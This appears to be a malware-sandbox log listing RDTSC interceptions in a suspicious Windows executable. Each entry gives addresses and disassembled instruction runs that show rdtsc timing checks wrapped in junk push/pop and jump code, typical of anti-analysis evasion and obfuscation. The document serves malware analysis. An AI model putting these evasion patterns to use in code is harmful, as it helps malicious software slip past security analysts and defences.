Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E702CA second address: 4E702DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454E2C851h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E702DF second address: 4E702E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E702E3 second address: 4E702F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E702F2 second address: 4E702F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E702F6 second address: 4E7030F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C855h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E7030F second address: 4E70344 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 99A2h 0x00000007 jmp 00007FA454545C63h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA454545C65h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E7036D second address: 4E70373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70373 second address: 4E70377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70377 second address: 4E7039F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d pushad 0x0000000e mov di, cx 0x00000011 popad 0x00000012 mov edi, 00000000h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA454E2C84Fh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E7039F second address: 4E703C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, edi 0x0000000f mov si, di 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E703C6 second address: 4E703CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E703CC second address: 4E703D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E7048B second address: 4E704BF instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 pushad 0x00000009 mov bx, cx 0x0000000c mov bx, si 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FA454E2C84Bh 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA454E2C855h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E704BF second address: 4E704CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454545C5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E704CF second address: 4E704D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E704FE second address: 4E70513 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70513 second address: 4E70575 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C851h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007FA454E2C84Eh 0x00000010 jg 00007FA4C691A79Ah 0x00000016 jmp 00007FA454E2C850h 0x0000001b js 00007FA454E2C8A7h 0x00000021 jmp 00007FA454E2C850h 0x00000026 cmp dword ptr [ebp-14h], edi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FA454E2C84Ah 0x00000032 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70575 second address: 4E70584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70584 second address: 4E705BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C859h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FA4C691A740h 0x0000000f jmp 00007FA454E2C84Eh 0x00000014 mov ebx, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E705BD second address: 4E705F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA454545C63h 0x0000000a xor eax, 515D4EAEh 0x00000010 jmp 00007FA454545C69h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E705F6 second address: 4E70606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454E2C84Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70606 second address: 4E70658 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-2Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov edx, 5F612D96h 0x00000016 pushfd 0x00000017 jmp 00007FA454545C67h 0x0000001c add al, 0000001Eh 0x0000001f jmp 00007FA454545C69h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E7077E second address: 4E70782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70782 second address: 4E70788 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70788 second address: 4E70797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454E2C84Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70147 second address: 4E70157 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454545C5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70157 second address: 4E7015B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70C1D second address: 4E70C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70C21 second address: 4E70C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70C27 second address: 4E70C3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, EB7Dh 0x00000007 movzx eax, dx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70C3B second address: 4E70C4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C84Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70C4C second address: 4E70C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70C52 second address: 4E70C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70C56 second address: 4E70C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70C5A second address: 4E70C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FA454E2C84Fh 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov di, ax 0x00000014 popad 0x00000015 cmp dword ptr [769B459Ch], 05h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FA454E2C858h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70C9A second address: 4E70CD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FA4C60239ACh 0x0000000f jmp 00007FA454545C66h 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA454545C5Ah 0x0000001e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70CD4 second address: 4E70CDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70D47 second address: 4E70D4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70D4D second address: 4E70D75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA454E2C84Ch 0x00000009 jmp 00007FA454E2C855h 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70D75 second address: 4E70D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007FA454545C59h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop eax 0x00000011 mov edx, 47CAFD58h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70D90 second address: 4E70DAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA454E2C84Ch 0x00000008 pop ecx 0x00000009 mov dh, 6Ah 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70DAC second address: 4E70DB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70DB2 second address: 4E70E17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C851h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FA454E2C851h 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 mov dx, 0DE2h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007FA454E2C859h 0x00000021 adc esi, 1F8E83B6h 0x00000027 jmp 00007FA454E2C851h 0x0000002c popfd 0x0000002d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70E17 second address: 4E70E41 instructions: 0x00000000 rdtsc 0x00000002 mov ax, 3DA7h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007FA454545C5Dh 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA454545C5Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70E41 second address: 4E70E63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C851h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FA4C6911562h 0x0000000e push 76952B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [769B4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 push edx 0x00000057 pop eax 0x00000058 push ebx 0x00000059 pop eax 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70E63 second address: 4E70E87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA454545C5Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70EE9 second address: 4E70F17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA454E2C84Ch 0x00000009 adc al, FFFFFFE8h 0x0000000c jmp 00007FA454E2C84Bh 0x00000011 popfd 0x00000012 mov ax, 25DFh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test al, al 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70F17 second address: 4E70F1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70F1B second address: 4E70F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70F21 second address: 4E70F29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70F29 second address: 4E70F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007FA4C690029Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA454E2C858h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E70F50 second address: 4E70F56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80A4A second address: 4E80A50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80A50 second address: 4E80A9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FA454545C60h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov edx, esi 0x00000016 push eax 0x00000017 mov eax, edi 0x00000019 pop edi 0x0000001a popad 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 call 00007FA454545C63h 0x00000026 pop ecx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80A9A second address: 4E80AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80AA0 second address: 4E80B13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FA454545C5Bh 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FA454545C64h 0x00000019 and ecx, 3C0704D8h 0x0000001f jmp 00007FA454545C5Bh 0x00000024 popfd 0x00000025 mov eax, 16701F8Fh 0x0000002a popad 0x0000002b mov esi, dword ptr [ebp+0Ch] 0x0000002e jmp 00007FA454545C62h 0x00000033 test esi, esi 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov edi, 5B974D50h 0x0000003d push edx 0x0000003e pop ecx 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80B13 second address: 4E80B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C852h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FA4C68FA0D4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA454E2C857h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80B48 second address: 4E80B50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80B50 second address: 4E80B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 cmp dword ptr [769B459Ch], 05h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA454E2C853h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80B73 second address: 4E80BD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 39CAh 0x00000007 pushfd 0x00000008 jmp 00007FA454545C5Bh 0x0000000d or ah, 0000006Eh 0x00000010 jmp 00007FA454545C69h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007FA4C602B547h 0x0000001f jmp 00007FA454545C5Eh 0x00000024 xchg eax, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FA454545C67h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80BD4 second address: 4E80C09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C859h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA454E2C853h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80C09 second address: 4E80C26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80C26 second address: 4E80C3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 mov ebx, 5AC5CA9Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov dh, ah 0x00000013 mov dh, 17h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80C77 second address: 4E80C9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80C9A second address: 4E80CB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C859h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 4E80CCE second address: 4E80D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 call 00007FA454545C67h 0x0000000a pushfd 0x0000000b jmp 00007FA454545C68h 0x00000010 add si, 1078h 0x00000015 jmp 00007FA454545C5Bh 0x0000001a popfd 0x0000001b pop eax 0x0000001c popad 0x0000001d pop esi 0x0000001e pushad 0x0000001f mov edx, 45AD87A8h 0x00000024 push eax 0x00000025 push edx 0x00000026 mov ebx, 0D6226F2h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 623E751 second address: 623E761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454E2C84Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 623E761 second address: 623E765 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AC45B second address: 63AC461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AB5F6 second address: 63AB5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AB5FA second address: 63AB604 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA454E2C846h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AB604 second address: 63AB60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AB60E second address: 63AB612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AB612 second address: 63AB620 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AB620 second address: 63AB62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AB62C second address: 63AB630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AB630 second address: 63AB65B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C853h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA454E2C850h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AB79F second address: 63AB7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AB7A3 second address: 63AB7A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63AB924 second address: 63AB94E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA454545C58h 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA454545C63h 0x00000014 push ebx 0x00000015 jc 00007FA454545C56h 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 63ABA8D second address: 63ABA9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454E2C84Ch 0x00000009 rdtsc
